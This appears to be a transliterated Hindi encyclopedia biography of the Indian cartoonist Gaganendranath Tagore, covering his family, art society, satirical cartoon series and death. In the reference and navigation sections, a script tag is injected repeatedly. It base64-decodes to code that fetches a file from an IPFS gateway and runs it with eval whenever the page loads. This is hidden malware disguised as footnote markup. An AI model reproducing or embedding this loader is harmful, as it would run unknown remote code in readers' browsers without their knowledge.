गगनेन्द्रनाथ टैगोर

	gaganendranath taigor
	gaganendranath taigor\|200px\|center
poora nam	gaganendranath taigor
janm	17 sitambar, 1867
janm bhoomi	kalakatta, pashchim bangal
mrityu	1938
abhibhavak	pita- gunedranath taigor
karm bhoomi	bharat
karm-kshetr	chitrakala
prasiddhi	vyangy chitrakar (kartoonist)
nagarikata	bharatiy
sanbandhit lekh	rabindranath thakur, avanindranath thakur
any janakari	panjab ke jaliyaanvala bag kaand par adharit gaganendranath ki kartoon 'pis ristord in panjab' ek kartoon kalakar ka atuly sahas tha aur samaj par ho rahe atyachar ko baradasht n karane ke bhav ne isane samakalin darshakoan par chhap chho d diya.

gaganendranath taigor (aangrezi: Gaganendranath Tagore, janm- 17 sitambar, 1867, kalakatta, pashchim bangal; mrityu- 1938) prasiddh bharatiy vyangy chitrakar (kartoonist) the. ve avanindranath taigor ke b de bhaee aur ravindranath taigor ke bhatije the. gaganendranath taigor aur unake bhaee avanindranath bharat ke adhunik kalakaroan mean agrani the. unhoanne bharatiy chitrakala ki mahaphil mean videshi rang bharakar use ghar-ghar mean parichit karavaya. gaganendranath bharatiy kartoon jagath ke agradootoan mean ek the. chitrakari mean to unhoanne maharath hasil ki hi thi, vahian kartoon banane mean bhi unake mukabale koee nahian tha. 1915 se lekar 1922 tak gaganendranath ke savashreshth kartoonoan ka nidarshan poori duniya ko dekhane ko mila. unake kartoonoan mean us samay ki vidanbanaoan ka atyadhik chitr aankit tha.

parichay

gaganendranath taigor ka janm 17 sitambar san 1867 ko britishakalin bharat mean kalakatta (vartaman kolakata) mean jorasaanko (taigor avas) ke thakur parivar mean hua tha. is parivar ki srijanashilata ne poore bangal ki sanskriti ko naya roop diya. gaganendranath taigor ke pita gunedranath taigor yuvaraj dvarikanath taigor ke pote the. bangal ki pragati v vikas mean dvarika ki aham bhumika rahi. dekha jae to gaganendranath ne kisi prakar ki skooli shiksha nahian li thi aur n hi unhoanne kisi guni-jnani jaisi padhaee ki, lekin jalachhavikar harinarayan bandopadhyay se unhean prashikshan mila. isake bad ve kala mean paripakv hote ge.^[1]

'iandiyan sosaiti aauf oriyantal art' ki sthapana

san 1907 mean apane bhaee avaniandranath ke sath mil kar gaganendranath taigor ne 'iandiyan sosaiti aauf oriyantal art' ki sthapana ki. isake bad unaki ek patrika 'roopam' prakashit huee, jo logoan ko achchhi lagi. 1906 se 1910 ke bich gaganendranath taigor ne japani brash takanik v apane kam mean sudoor poorvi kala ke prabhav ka adhyayan kiya. kuchh sikhane ki jijnasa ne unhean vishesh jnan dilaya. vishv kavi ravindranath taigor ki jivani 'jivanasmriti' se unake kuchh kar dikhane ki jid v sikhane ki chah ne unhean shikhar par pahuancha diya. isake bad gaganendranath taigor ne apani disha badal li aur vyangyatmak sansar ki or kadam badha diya.

vyangy chitr shrriankhala

1917 mean 'madarm rivyoo' mean gaganendranath taigor ke kuchh vyang chitr prakashit hue. yah unaki jiandagi mean ek naya mo d tha. us samay unake vyangy chitr kuchh pustakoan ki shrriankhala mean dikhaee die, jaise- 'ple aauf', 'rilm aauf d ebsard eand ripharm sims'. 1915 se lekar 1922 tak gaganendranath ke savashreshth kartoonoan ka nidarshan poori duniya ko dekhane ko mila. unake kartoonoan mean us samay ki vidanbanaoan ka atyadhik chitr aankit tha. panjab ke dardanak jaliyaanvala bag ke kaand par adharit unaki kartoon 'pis ristord in panjab' (panjab mean aman ki vapasi) ek kartoon kalakar ka atuly sahas tha aur samaj par ho rahe atyachar ko baradasht n karane ke bhav ne isane samakalin darshakoan par chhap chho d diya. gaganendranath taigor ki kartoon sirij 'di strim' mil ka patthar hai.^[1]

hasy bhavana aur upahas

duniya bhar mean unake kala abhyasoan ke aiksepojar se peantiang ke asal aandazaka srijan hua. ek taraph to gaganendranath taigor japani vash takanik se prerit the aur doosari or yooropiy kala abhyasoan ke ayam chitravad, bhavishyavadi aur abhivyaktivad se prerit the. apane drishtikon ke sarvottam bhavoan ke grahan karane ke bavajood unaki drishti aur takanik bahut vyaktigat thi. gaganendranath ki gajab ki hasy bhavana aur upahas ko kuchh mahatvapoorn vyangy chitroan mean abhivyakti mili, jinaka prathamik uddeshy upaniveshiy shasan ke prabhav mean samajik aur naitik moolyoan ke kshay par tippani karana tha. unake upahas ne hippokresiz aur samaj ke bhitar virodh ki taraph bhi ishara kiya. jorasaanko (taigor avas) thiyetar ki sthapana ka shrey bhi unako hi jata hai. ve dijaeeniang manch sthapana evan vibhinn natakoan ke lie veshabhoosha ko dijain karane mean sakriy roop se sanlagn rahe. unake pramukh art varks mean is thiyetar ka ullekhaniy prabhav jhalakata hai.^[2]

chitrakala adhyay

parth mittar gaganendranath taigor ke bare mean kahate haian- "pashchim ke prabhav se lupt bangala sanskriti sabhi ke vyangy ka mukhy vishay thi. to bhala gaganendranath isase kaise pichhe hatate. unaki asadharan chitrakalaoan ko 1917 ke bad tin adhyay mean sanjoya gaya. ve haian-

viroop bajr (ple aauf apojit)
nav hullo d (ripharm sims)
adbhut lok (rilm aauf evasard)

isake alava unhoanne kuchh rajanitik vyangy chitr bhi banae, halaanki unaki samajik vyangy mean itani sachchaee hoti thi ki vyangy ke tiroan se koee bhi anyayi-atyachari ghayal ho jata tha. ve samaj ki s di-gali ritiyoan ka vyangyatmak tarike se varnan karate the. unamean pashchaty sajyata ki jhalak dikhaee p dati thi. 1920 se 1925 ke bich unhoanne adhunikatavadi chitrakala sansar mean naye prayog kie. isalie parth mittar kahate haian ki 1940 ke dashak se pahale ve akele bharatiy chitrakar the, jinhoanne bhasha ka istemal b de hi rochak dhang se kiya. unake kartoon ke sath shabdoan ki yugalabandi nasoor ka kam karati thi. kitab: 'natyashala' ke sath unaka rishta bahut hi gahara evan behad atoot tha. bachchoan ke lie unake man mean apar sneh v shraddha thi.unhoanne bachchoan ke lie 'voandar bahadur' namak pustak ki rachana bhi kar dali.

mrityu

gaganendranath taigor ka nidhan 1938 mean hua. ve pakshaghat ke shikar hue the. unake chitroan aur rekhachitroan mean ab bhi unaki smriti aur samaj se samajik gandagi door karane ki lalak saph-saph dikhaee p dati hai. unaki mrityu ke kee sal bit jane ke bavajood aj bhi ve pramanik prayogavadi chitrakar mane jate haian. bharatiy dak aur teligraph vibhag ne unaki 101vian jayanti par ek smarak dak tikat jari kiya tha.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 prakhyat bharatiy vyangy chitrakar gaganendranath taigor (hiandi) deshbandhu.co.in. abhigaman tithi: 24 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ shokes -gaganendranath taigor (hindi) ngmaindia.gov.in. abhigaman tithi: 24 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[a-1] 1.0 ^1.1 ^1.2 prakhyat bharatiy vyangy chitrakar gaganendranath taigor (hiandi) deshbandhu.co.in. abhigaman tithi: 24 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] shokes -gaganendranath taigor (hindi) ngmaindia.gov.in. abhigaman tithi: 24 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

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